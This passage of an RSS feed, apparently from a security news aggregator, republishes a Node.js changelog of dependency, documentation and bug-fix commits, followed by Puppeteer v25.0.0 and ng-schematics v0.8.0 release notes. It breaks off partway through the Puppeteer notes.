<li>[<a href="https://github.com/nodejs/node/commit/e742ab748c"><code>e742ab748c</code></a>] - <strong>deps</strong>: update sqlite to 3.51.3 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62256" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62256/hovercard">#62256</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/73cac0571a"><code>73cac0571a</code></a>] - <strong>deps</strong>: update amaro to 1.1.8 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62151" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62151/hovercard">#62151</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ae5c162b93"><code>ae5c162b93</code></a>] - <strong>deps</strong>: update amaro to 1.1.7 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61730" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61730/hovercard">#61730</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b819cb9977"><code>b819cb9977</code></a>] - <strong>deps</strong>: update amaro to 1.1.6 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61603" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61603/hovercard">#61603</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/bbcce09dc7"><code>bbcce09dc7</code></a>] - <strong>deps</strong>: update sqlite to 3.52.0 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62150" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62150/hovercard">#62150</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/22ff2d81ce"><code>22ff2d81ce</code></a>] - <strong>deps</strong>: update simdjson to 4.3.1 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61930" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61930/hovercard">#61930</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f49b51d75c"><code>f49b51d75c</code></a>] - <strong>deps</strong>: update acorn-walk to 8.3.5 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61928" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61928/hovercard">#61928</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1a5cec0d49"><code>1a5cec0d49</code></a>] - <strong>deps</strong>: update acorn to 8.16.0 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61925" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61925/hovercard">#61925</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d339497688"><code>d339497688</code></a>] - <strong>deps</strong>: update nbytes to 0.1.3 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61879" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61879/hovercard">#61879</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3ff8ffd459"><code>3ff8ffd459</code></a>] - <strong>deps</strong>: remove stale OpenSSL arch configs (René) <a href="https://github.com/nodejs/node/pull/61834" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61834/hovercard">#61834</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b8ddbc1e9a"><code>b8ddbc1e9a</code></a>] - <strong>deps</strong>: update llhttp to 9.3.1 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61827" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61827/hovercard">#61827</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ffda97afd4"><code>ffda97afd4</code></a>] - <strong>deps</strong>: update googletest to 2461743991f9aa53e9a3625eafcbacd81a3c74cd (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62484" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62484/hovercard">#62484</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/79aa32cf4f"><code>79aa32cf4f</code></a>] - <strong>deps</strong>: update googletest to 73a63ea05dc8ca29ec1d2c1d66481dd0de1950f1 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61927" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61927/hovercard">#61927</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b6957e13b6"><code>b6957e13b6</code></a>] - <strong>deps</strong>: update archs files for openssl-3.5.6 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62629" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62629/hovercard">#62629</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3a27669063"><code>3a27669063</code></a>] - <strong>deps</strong>: upgrade openssl sources to openssl-3.5.6 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62629" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62629/hovercard">#62629</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d568a1bb53"><code>d568a1bb53</code></a>] - <strong>deps</strong>: upgrade npm to 10.9.8 (npm team) <a href="https://github.com/nodejs/node/pull/62463" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62463/hovercard">#62463</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ec11f3c1d5"><code>ec11f3c1d5</code></a>] - <strong>deps</strong>: V8: backport 85b390089e51 (Thibaud Michaud) <a href="https://github.com/nodejs/node/pull/62783" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62783/hovercard">#62783</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/08609712ed"><code>08609712ed</code></a>] - <strong>deps</strong>: V8: backport 1b27e4674f11 (Thibaud Michaud) <a href="https://github.com/nodejs/node/pull/62783" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62783/hovercard">#62783</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/dcc60d5ab2"><code>dcc60d5ab2</code></a>] - <strong>deps</strong>: V8: backport 9997fc013952 (Thibaud Michaud) <a href="https://github.com/nodejs/node/pull/62783" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62783/hovercard">#62783</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1d1f4451fb"><code>1d1f4451fb</code></a>] - <strong>deps</strong>: V8: cherry-pick b96e40d5ac85 (Clemens Backes) <a href="https://github.com/nodejs/node/pull/62783" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62783/hovercard">#62783</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2268567237"><code>2268567237</code></a>] - <strong>deps</strong>: V8: cherry-pick 7cb6188cf913 (Thibaud Michaud) <a href="https://github.com/nodejs/node/pull/62783" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62783/hovercard">#62783</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/92804cdbea"><code>92804cdbea</code></a>] - <strong>deps</strong>: V8: cherry-pick e7ccf0af1bdd (Thibaud Michaud) <a href="https://github.com/nodejs/node/pull/62783" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62783/hovercard">#62783</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/eae2c27a40"><code>eae2c27a40</code></a>] - <strong>deps</strong>: V8: cherry-pick 8e214ec3ec8c (Thibaud Michaud) <a href="https://github.com/nodejs/node/pull/62783" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62783/hovercard">#62783</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a1799a49bb"><code>a1799a49bb</code></a>] - <strong>deps</strong>: V8: backport 63b8849d73ae (Thibaud Michaud) <a href="https://github.com/nodejs/node/pull/62783" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62783/hovercard">#62783</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a2df2d8731"><code>a2df2d8731</code></a>] - <strong>deps</strong>: V8: backport 323942700cfe (Thibaud Michaud) <a href="https://github.com/nodejs/node/pull/62783" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62783/hovercard">#62783</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e3d65c7dca"><code>e3d65c7dca</code></a>] - <strong>deps</strong>: V8: backport 89dc6eab605c (Thibaud Michaud) <a href="https://github.com/nodejs/node/pull/62783" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62783/hovercard">#62783</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5e7db133de"><code>5e7db133de</code></a>] - <strong>deps</strong>: V8: backport 910cb91733dc (Jakob Kummerow) <a href="https://github.com/nodejs/node/pull/62783" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62783/hovercard">#62783</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d0c24a28af"><code>d0c24a28af</code></a>] - <strong>deps</strong>: V8: cherry-pick b8f91e510e0f (Thibaud Michaud) <a href="https://github.com/nodejs/node/pull/62783" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62783/hovercard">#62783</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d358687824"><code>d358687824</code></a>] - <strong>deps</strong>: V8: cherry-pick cf03d55db2a0 (Thibaud Michaud) <a href="https://github.com/nodejs/node/pull/62783" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62783/hovercard">#62783</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/67c8b2c349"><code>67c8b2c349</code></a>] - <strong>deps</strong>: V8: cherry-pick 692f3d526a38 (Sébastien Doeraene) <a href="https://github.com/nodejs/node/pull/62783" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62783/hovercard">#62783</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/71e5a59ffd"><code>71e5a59ffd</code></a>] - <strong>deps</strong>: V8: cherry-pick c734674e03f9 (Manos Koukoutos) <a href="https://github.com/nodejs/node/pull/62783" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62783/hovercard">#62783</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f0dbe81c7b"><code>f0dbe81c7b</code></a>] - <strong>deps</strong>: V8: cherry-pick b2f3aea23a01 (Thibaud Michaud) <a href="https://github.com/nodejs/node/pull/62783" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62783/hovercard">#62783</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d333f480c3"><code>d333f480c3</code></a>] - <strong>deps</strong>: V8: cherry-pick 5f1342c20b59 (Matthias Liedtke) <a href="https://github.com/nodejs/node/pull/62783" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62783/hovercard">#62783</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/db722725bb"><code>db722725bb</code></a>] - <strong>deps</strong>: use npm undici@six tag in <code>update-undici.sh</code> (Matteo Collina) <a href="https://github.com/nodejs/node/pull/63012" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63012/hovercard">#63012</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9b57979d9c"><code>9b57979d9c</code></a>] - <strong>doc</strong>: add Rafael to last security release steward (Rafael Gonzaga) <a href="https://github.com/nodejs/node/pull/62423" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62423/hovercard">#62423</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d8075585bf"><code>d8075585bf</code></a>] - <strong>doc</strong>: add path to vulnerabilities.json mention (Rafael Gonzaga) <a href="https://github.com/nodejs/node/pull/62355" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62355/hovercard">#62355</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6ec9a70204"><code>6ec9a70204</code></a>] - <strong>doc</strong>: clarify fs.ReadStream and fs.WriteStream are not constructable (Kit Dallege) <a href="https://github.com/nodejs/node/pull/62208" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62208/hovercard">#62208</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1fc86fcb6e"><code>1fc86fcb6e</code></a>] - <strong>doc</strong>: add note (and caveat) for <code>mock.module</code> about customization hooks (Jacob Smith) <a href="https://github.com/nodejs/node/pull/62075" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62075/hovercard">#62075</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/491be80bd9"><code>491be80bd9</code></a>] - <strong>doc</strong>: add efekrskl as triager (Efe) <a href="https://github.com/nodejs/node/pull/61876" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61876/hovercard">#61876</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/18558293a3"><code>18558293a3</code></a>] - <strong>doc</strong>: fix module.stripTypeScriptTypes indentation (René) <a href="https://github.com/nodejs/node/pull/61992" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61992/hovercard">#61992</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8e20976522"><code>8e20976522</code></a>] - <strong>doc</strong>: explicitly mention Slack handle (Rafael Gonzaga) <a href="https://github.com/nodejs/node/pull/61986" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61986/hovercard">#61986</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/70b8e6b4fb"><code>70b8e6b4fb</code></a>] - <strong>doc</strong>: rename invalid <code>function</code> parameter (René) <a href="https://github.com/nodejs/node/pull/61942" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61942/hovercard">#61942</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4045c76f6c"><code>4045c76f6c</code></a>] - <strong>doc</strong>: clarify status of feature request issues (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/61505" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61505/hovercard">#61505</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c54652f2aa"><code>c54652f2aa</code></a>] - <strong>doc</strong>: remove incorrect mention of <code>module</code> in <code>typescript.md</code> (Rob Palmer) <a href="https://github.com/nodejs/node/pull/61839" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61839/hovercard">#61839</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9fad6cedf5"><code>9fad6cedf5</code></a>] - <strong>doc</strong>: clarify async caveats for <code>events.once()</code> (René) <a href="https://github.com/nodejs/node/pull/61572" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61572/hovercard">#61572</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2f1e5733fe"><code>2f1e5733fe</code></a>] - <strong>doc</strong>: update Juan's security steward info (Juan José) <a href="https://github.com/nodejs/node/pull/61754" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61754/hovercard">#61754</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a64bdb5068"><code>a64bdb5068</code></a>] - <strong>doc</strong>: fix overstated Date header requirement in response.sendDate (Kit Dallege) <a href="https://github.com/nodejs/node/pull/62206" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62206/hovercard">#62206</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/02797de923"><code>02797de923</code></a>] - <strong>doc</strong>: fix small environment_variables typo (chris) <a href="https://github.com/nodejs/node/pull/62279" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62279/hovercard">#62279</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f22ebdc809"><code>f22ebdc809</code></a>] - <strong>doc</strong>: fix small logic error in DETECT_MODULE_SYNTAX (René) <a href="https://github.com/nodejs/node/pull/62025" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62025/hovercard">#62025</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9f4508062a"><code>9f4508062a</code></a>] - <strong>doc</strong>: fix methods being documented as properties in <code>process.md</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/61765" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61765/hovercard">#61765</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3ea39ff135"><code>3ea39ff135</code></a>] - <strong>doc</strong>: fix dropdown menu being obscured at &lt;600px due to stacking context (Jeff) <a href="https://github.com/nodejs/node/pull/61735" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61735/hovercard">#61735</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c22445079b"><code>c22445079b</code></a>] - <strong>doc</strong>: fix spacing in process message event (Aviv Keller) <a href="https://github.com/nodejs/node/pull/61756" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61756/hovercard">#61756</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/32831b5223"><code>32831b5223</code></a>] - <strong>doc</strong>: fix broken links of net.md (YuSheng Chen) <a href="https://github.com/nodejs/node/pull/61673" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61673/hovercard">#61673</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/005508d509"><code>005508d509</code></a>] - <strong>doc</strong>: remove obsolete Boxstarter automated install (Mike McCready) <a href="https://github.com/nodejs/node/pull/61785" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61785/hovercard">#61785</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/37c2fd6f7d"><code>37c2fd6f7d</code></a>] - <strong>esm</strong>: fix path normalization in <code>finalizeResolution</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62080" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62080/hovercard">#62080</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1769d74613"><code>1769d74613</code></a>] - <strong>esm</strong>: populate separate cache for require(esm) in imported CJS (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/59679" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/59679/hovercard">#59679</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ee02966ffc"><code>ee02966ffc</code></a>] - <strong>http</strong>: fix keep-alive socket reuse race in requestOnFinish (Martin Slota) <a href="https://github.com/nodejs/node/pull/61710" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61710/hovercard">#61710</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2fdb5ce6cc"><code>2fdb5ce6cc</code></a>] - <strong>http2</strong>: fix FileHandle leak in respondWithFile (sangwook) <a href="https://github.com/nodejs/node/pull/61707" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61707/hovercard">#61707</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/aa2c1eca04"><code>aa2c1eca04</code></a>] - <strong>lib</strong>: fix source map url parse in dynamic imports (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/61990" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61990/hovercard">#61990</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/785b00cbeb"><code>785b00cbeb</code></a>] - <strong>meta</strong>: pass release version to release worker (flakey5) <a href="https://github.com/nodejs/node/pull/62777" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62777/hovercard">#62777</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/447fb9a0b5"><code>447fb9a0b5</code></a>] - <strong>meta</strong>: persist sccache daemon until end of build workflows (René) <a href="https://github.com/nodejs/node/pull/61639" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61639/hovercard">#61639</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5065a0acb3"><code>5065a0acb3</code></a>] - <strong>module</strong>: do not invoke resolve hooks twice for imported cjs (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/61529" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61529/hovercard">#61529</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9a2e21305d"><code>9a2e21305d</code></a>] - <strong>module</strong>: do not wrap module._load when tracing is not enabled (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/61479" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61479/hovercard">#61479</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b9240bc063"><code>b9240bc063</code></a>] - <strong>module</strong>: fix sync resolve hooks for require with node: prefixes (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/61088" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61088/hovercard">#61088</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2e91b28aaf"><code>2e91b28aaf</code></a>] - <strong>module</strong>: handle null source from async loader hooks in sync hooks (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/59929" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/59929/hovercard">#59929</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/39147c154e"><code>39147c154e</code></a>] - <strong>module</strong>: use sync cjs when importing cts (Marco Ippolito) <a href="https://github.com/nodejs/node/pull/60072" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60072/hovercard">#60072</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/12a2462b2c"><code>12a2462b2c</code></a>] - <strong>module</strong>: only put directly require-d ESM into require.cache (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/59874" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/59874/hovercard">#59874</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/cf39566277"><code>cf39566277</code></a>] - <strong>src</strong>: fix flags argument offset in JSUdpWrap (Weixie Cui) <a href="https://github.com/nodejs/node/pull/61948" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61948/hovercard">#61948</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/578a9a9230"><code>578a9a9230</code></a>] - <strong>src</strong>: clamp WriteUtf8 capacity to INT_MAX in EncodeInto (semimikoh) <a href="https://github.com/nodejs/node/pull/62621" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62621/hovercard">#62621</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/57c3035fec"><code>57c3035fec</code></a>] - <strong>stream</strong>: fix decoded fromList chunk boundary check (Thomas Watson) <a href="https://github.com/nodejs/node/pull/61884" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61884/hovercard">#61884</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/57fb008bb8"><code>57fb008bb8</code></a>] - <strong>test</strong>: update tls junk data error expectations (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62629" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62629/hovercard">#62629</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/363f9a9d18"><code>363f9a9d18</code></a>] - <strong>test</strong>: skip <code>test-url</code> on <code>--shared-ada</code> builds (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62019" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62019/hovercard">#62019</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/daaead342b"><code>daaead342b</code></a>] - <strong>test</strong>: simplify encodeInto large buffer regression test (semimikoh) <a href="https://github.com/nodejs/node/pull/62621" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62621/hovercard">#62621</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ecfa766b41"><code>ecfa766b41</code></a>] - <strong>tools</strong>: fix auto-start-ci (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/61900" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61900/hovercard">#61900</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/17c0a610af"><code>17c0a610af</code></a>] - <strong>tools</strong>: fix parsing of commit trailers in <code>lint-release-proposal</code> GHA (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62077" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62077/hovercard">#62077</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/89ad7dc63b"><code>89ad7dc63b</code></a>] - <strong>tools</strong>: enforce removal of <code>lts-watch-*</code> labels on release proposals (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/61672" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61672/hovercard">#61672</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5f9bb8ef0c"><code>5f9bb8ef0c</code></a>] - <strong>tools</strong>: revert tools GHA workflow to ubuntu-latest (Richard Lau) <a href="https://github.com/nodejs/node/pull/62024" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62024/hovercard">#62024</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/977ef80ac1"><code>977ef80ac1</code></a>] - <strong>url</strong>: process crash via malformed UNC hostname in pathToFileURL() (Nicola Del Gobbo) <a href="https://github.com/nodejs/node/pull/62574" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62574/hovercard">#62574</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ad8f518a81"><code>ad8f518a81</code></a>] - <strong>zlib</strong>: fix use-after-free when reset() is called during write (Matteo Collina) <a href="https://github.com/nodejs/node/pull/62325" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62325/hovercard">#62325</a></li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[ng-schematics: v0.8.0]]></title>
<description><![CDATA[0.8.0 (2026-05-12)
⚠ BREAKING CHANGES

bump min NodeJS to 22 (#14973)
update min version - Node v20.19 and Typescript v5.0.1 (#14364)
move packages to ESM only (#14355)

🎉 Features

move packages to ESM only (#14355) (4c22177)

📄 Documentation

bump min NodeJS to 22 (#14973) (4b6ddc3)
update min ...]]></description>
<link>https://tsecurity.de/de/3511107/downloads/ng-schematics-v080/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3511107/downloads/ng-schematics-v080/</guid>
<pubDate>Tue, 12 May 2026 18:31:49 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2><a href="https://github.com/puppeteer/puppeteer/compare/ng-schematics-v0.7.0...ng-schematics-v0.8.0">0.8.0</a> (2026-05-12)</h2>
<h3>⚠ BREAKING CHANGES</h3>
<ul>
<li>bump min NodeJS to 22 (<a href="https://github.com/puppeteer/puppeteer/issues/14973" data-hovercard-type="pull_request" data-hovercard-url="/puppeteer/puppeteer/pull/14973/hovercard">#14973</a>)</li>
<li>update min version - Node v20.19 and Typescript v5.0.1 (<a href="https://github.com/puppeteer/puppeteer/issues/14364" data-hovercard-type="pull_request" data-hovercard-url="/puppeteer/puppeteer/pull/14364/hovercard">#14364</a>)</li>
<li>move packages to ESM only (<a href="https://github.com/puppeteer/puppeteer/issues/14355" data-hovercard-type="pull_request" data-hovercard-url="/puppeteer/puppeteer/pull/14355/hovercard">#14355</a>)</li>
</ul>
<h3>🎉 Features</h3>
<ul>
<li>move packages to ESM only (<a href="https://github.com/puppeteer/puppeteer/issues/14355" data-hovercard-type="pull_request" data-hovercard-url="/puppeteer/puppeteer/pull/14355/hovercard">#14355</a>) (<a href="https://github.com/puppeteer/puppeteer/commit/4c22177a7dcbd5a5fe6922eec75351bb56cd0336">4c22177</a>)</li>
</ul>
<h3>📄 Documentation</h3>
<ul>
<li>bump min NodeJS to 22 (<a href="https://github.com/puppeteer/puppeteer/issues/14973" data-hovercard-type="pull_request" data-hovercard-url="/puppeteer/puppeteer/pull/14973/hovercard">#14973</a>) (<a href="https://github.com/puppeteer/puppeteer/commit/4b6ddc3a2631518651187b7795e36fae9a976121">4b6ddc3</a>)</li>
<li>update min version - Node v20.19 and Typescript v5.0.1 (<a href="https://github.com/puppeteer/puppeteer/issues/14364" data-hovercard-type="pull_request" data-hovercard-url="/puppeteer/puppeteer/pull/14364/hovercard">#14364</a>) (<a href="https://github.com/puppeteer/puppeteer/commit/96f3780289d42557b648a18d806843a28da7e2f5">96f3780</a>)</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[puppeteer: v25.0.0]]></title>
<description><![CDATA[25.0.0 (2026-05-12)
⚠ BREAKING CHANGES

bump min NodeJS to 22 (#14973)
return a Promise for executablePath, defaultArgs (#14965)
update min version - Node v20.19 and Typescript v5.0.1 (#14364)
move packages to ESM only (#14355)

🎉 Features

move packages to ESM only (#14355) (4c22177)

📄 Document...]]></description>
<link>https://tsecurity.de/de/3511029/downloads/puppeteer-v2500/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3511029/downloads/puppeteer-v2500/</guid>
<pubDate>Tue, 12 May 2026 18:16:33 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2><a href="https://github.com/puppeteer/puppeteer/compare/puppeteer-v24.43.1...puppeteer-v25.0.0">25.0.0</a> (2026-05-12)</h2>
<h3>⚠ BREAKING CHANGES</h3>
<ul>
<li>bump min NodeJS to 22 (<a href="https://github.com/puppeteer/puppeteer/issues/14973" data-hovercard-type="pull_request" data-hovercard-url="/puppeteer/puppeteer/pull/14973/hovercard">#14973</a>)</li>
<li>return a Promise for executablePath, defaultArgs (<a href="https://github.com/puppeteer/puppeteer/issues/14965" data-hovercard-type="pull_request" data-hovercard-url="/puppeteer/puppeteer/pull/14965/hovercard">#14965</a>)</li>
<li>update min version - Node v20.19 and Typescript v5.0.1 (<a href="https://github.com/puppeteer/puppeteer/issues/14364" data-hovercard-type="pull_request" data-hovercard-url="/puppeteer/puppeteer/pull/14364/hovercard">#14364</a>)</li>
<li>move packages to ESM only (<a href="https://github.com/puppeteer/puppeteer/issues/14355" data-hovercard-type="pull_request" data-hovercard-url="/puppeteer/puppeteer/pull/14355/hovercard">#14355</a>)</li>
</ul>
<h3>🎉 Features</h3>
<ul>
